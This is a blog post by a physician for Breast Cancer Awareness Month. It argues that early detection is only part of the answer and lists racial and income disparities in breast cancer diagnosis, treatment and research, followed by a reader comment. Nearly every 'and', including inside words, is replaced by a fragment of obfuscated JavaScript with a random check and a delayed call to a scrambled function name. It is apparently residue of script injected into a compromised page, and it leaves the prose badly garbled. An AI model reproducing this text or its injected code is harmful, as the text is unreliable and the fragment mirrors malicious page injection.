Early Detection Is Only Part of the Solution

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Image of Metastatic Breast Cancer

Image of Metastatic Breast Cancer

By Dr. Karen Brothers

It’s October — time for what I believe is the best-known health awareness campaign on the planet: Breast Cancer Awareness Month. You’ve probably seen the pink ribbons andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and T-shirts around town andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the special edition pink products online andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and on store shelves. You likely have multiple invitations to breast cancer-related events in your inbox. Your Facebook feed may be full of posts from friends urging you to donate to the cause or — even better — make an appointment for your mammogram because early detection saves lives!

According to the Centers for Disease Control andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Prevention, breast cancer is the most common non-skin cancer in women, accounting for more than 230,000 new diagnoses andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and 40,000 deaths in 2013. Given those statistics, there is no doubt that awareness andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and screening exams are essential components of healthcare for women. I fully support any effort that encourages women to go to their doctors for breast exams andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and mammograms when they otherwise would not. So seek out the pink ribbons andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and T-shirts andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and wear them proudly. Buy the pink products andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and know that you are contributing to outreach andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and research efforts.  (Just be sure to “>>think before you pink.” Know how your money supports the cause andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and avoid buying products containing ingredients known to cause cancer.)

Decades of promoting awareness andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and screening have focused much-needed attention on diagnosing breast cancer in women (andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and men), but the real life-saving work — for providers, healthcare systems, researchers, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and donors — begins after the diagnosis. Consider the following:

  • Breast cancer is not a single disease but a group of several diseases with distinct characteristics that determine prognosis andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and guide treatment. Some breast cancers are more aggressive than others, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and for those types, early detection is less likely to result in saved lives.
  • African-American women are more likely than women of all other ethnic groups to have an aggressive type of breast cancer that lacks specific hormone receptors andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and does not benefit from newer pharmacological treatments that target those receptors.
  • The accessibility andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and quality of mammography —  the standom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andard in diagnostic testing — vary based on geography andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and race. Urban mammography centers that serve predominately non-white populations are less likely to be located at cutting-edge academic or private institutions, offer digital mammography, or employ dedicated breast-imaging specialists. This directly impacts follow-up after abnormal results andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the resulting care provided at those centers.
  • Of all women, African-American women are most likely to die from breast cancer. Data collected from 1975 to 2004 shows increasing rates of breast cancer-related deaths for African-American women living in the South andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Midwest.
  • Women with low incomes have lower survival rates that women with higher incomes. The inability to afford health insurance, inflexible work schedules, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and lack of reliable transportation are all factors affecting access to care.
  • Insurance coverage does not guarantee high-quality care. While uninsured women are more likely to be diagnosed with more advanced disease andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and receive nonstandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andard treatment, non-white women with insurance continue to experience longer times between examination andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and diagnosis than their white counterparts.  
  • African-American women encounter more delays in treatment after diagnosis andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and more frequent misuse andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and underuse of treatment compared to white women. In addition, they are less likely than white women to undergo genetic counseling when they have a family history of breast or ovarian cancer. As a result, their family members do not receive the information necessary to fully assess their own breast cancer risk.
  • Women of color are less likely to be included in the clinical trials that help scientists understandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the biological andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and genetic differences between the different types of breast cancer andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and develop the best therapies to treat them.

Early detection is only part of the solution.

I have seen breast cancer up close. I have held the handom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ands of women just diagnosed with breast cancer who worry about paying for their treatment andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and caring for their families. I have hugged women who just learned that they will have to undergo further treatment for the cancer they previously beat. I have consoled the loved ones of women living with cancer who struggle to find the right words to say andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the right things to do. I have danced with women who have learned they are cancer-free. I have cried with family members who grieve the passing of their mothers, sisters, daughters, aunts, cousins, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and friends. Early detection is only part of the solution.

I standom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and with my colleagues in healthcare, women living with breast cancer, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the families andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and friends of those women who have passed on to reduce the impact of breast cancer on our communities through prevention, adequate treatment, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and continued research. I ask you to support us in focusing our efforts beyond early detection to create a system of care that prioritizes the impact of biology andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and quality of care on patient outcomes. We all want to save women’s lives, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and we can all wear pink while doing it.

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  1. Clare

    Thanks for what you do and for highlighting prevention, adequate care and research. I’m not clear on what you are asking us when you say
    “I ask you to support us in focusing our efforts beyond early detection to create a system of care that prioritizes the impact of biology and quality of care on patient outcomes”.

    What should we do?


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